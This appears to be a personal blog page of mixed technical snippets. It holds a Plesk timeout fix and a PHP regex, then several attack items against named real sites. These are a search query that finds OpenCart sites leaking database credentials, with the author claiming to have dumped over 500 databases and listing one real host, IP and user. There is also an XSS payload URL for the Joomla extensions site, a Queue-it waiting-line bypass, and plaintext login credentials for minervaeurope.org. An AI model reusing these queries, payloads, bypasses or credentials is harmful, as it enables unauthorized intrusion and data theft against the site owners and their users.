pro(re)gress

Errors - mod_fcgid: read data timeout in 45 seconds and Premature end of script headers: index.php - 500 internal server error on Plesk: mod_fcgid: read data timeout   -In Plesk- domains >> example.com >> Apache & Nginx settings (Impostazioni Apache & nginx) In "Additional directives for HTTPS" (Direttive aggiuntive per HTTPS) Add: <IfModule mod_fcgid.c>     FcgidIOTimeout 300 </IfModule>     ----------------------------- Nginx Directives ( Direttive Nginx aggiuntive) proxy_connect_timeout 300s; proxy_send_timeout 300s; proxy_read_timeout 300s; fastcgi_send_timeout 300s; fastcgi_read_timeout 300s;

        video { object - fit : inherit ; }  

 The string should be composed of two parts separated by a dash/minus: 1) an md5 string 2) a variable string with the "data center" subdomain name.  This function checks if the api key is (somewhat) correct.     private function isApiKeyValid($api_key){         return !empty( preg_match('#^[a-z0-9]{32}-[a-z0-9]{3,}$#i', $api_key) );     }

Opencart have a serious leak of database informations when there's a database connection error. The fix/workaround can be downloaded here Is it a problem? With a simple script I got ~800.000 results and I've been able to scrap more than ~30.000 (in hours due to google limitations) and dumped more than 500 complete databases (those without restrictions from remote connections). From accessing the db several things can be done, even writing files, replacing informations (ex. malicious scripts, the paypal account, etc), getting more rights, etc. I just proved that it can be done and nothing else.  ----------------------------   You can add the domain TLD to have more results from google. I even found some important websites.   something like that https://www.google.com/search?q=system\library\db.php(31):+DB\MySQLi->__construct( I took the first results from my search (and replaced the passwords): berardomacchine.com '89.46.111.189', 'Sql1428497', '####'...

XSS https://extensions.joomla.org/instant-search/?jed_live[query]=recaptcha&jed_live[refinementList][versions][0]=fantastic <img src=x:alert(alt) onerror=eval(src) alt="Merry xssmas!"> Archived page: https://archive.is/wip/kCTik  Note: Bug reported to joomla.org on 30/11/2020

   Open tamper data (firefox) or any other application (like a proxy to tamper data) and check the post requests. When you get something like that  https://sogei.queue-it.net/?c=sogei&e=mobutente2020&q=52fddcda-579f-46b2-bb44-6c4ddf68e730&cv=[unixtimestamp]&cid=it-IT Set the unixtimestamp to a future date ex. if you the current value is 1604445083694 replace with 1774445083694 (2026+). I used just 1774495521 and it works. ex. https://sogei.queue-it.net/?c=sogei&e=mobutente2020&q=52fddcda-579f-46b2-bb44-6c4ddf68e730&cv=1774495521&cid=it-IT      

       https://www.minervaeurope.org/login.asp     user             = "ist"     pwd             = "minerva"   https://www.minervaeurope.org/newslettereng/conn.asp username = "minervaeurope" ' Change this to your preferred username. password = "minervanewsletter" ' Change this to your preferred password. archived: https://archive.is/XfdZL The "museo web cms" (asp?) and "Glizy Framework" have several vulnerabilities. ------------------------------- source code? https://www.minervaeurope.org/structure/workinggroups/userneeds/prototipo/cms/tutorial.html https://www.minervaeurope.org/structure/workinggroups/userneeds/prototipo/cms/MWCMS_manuale_150.zip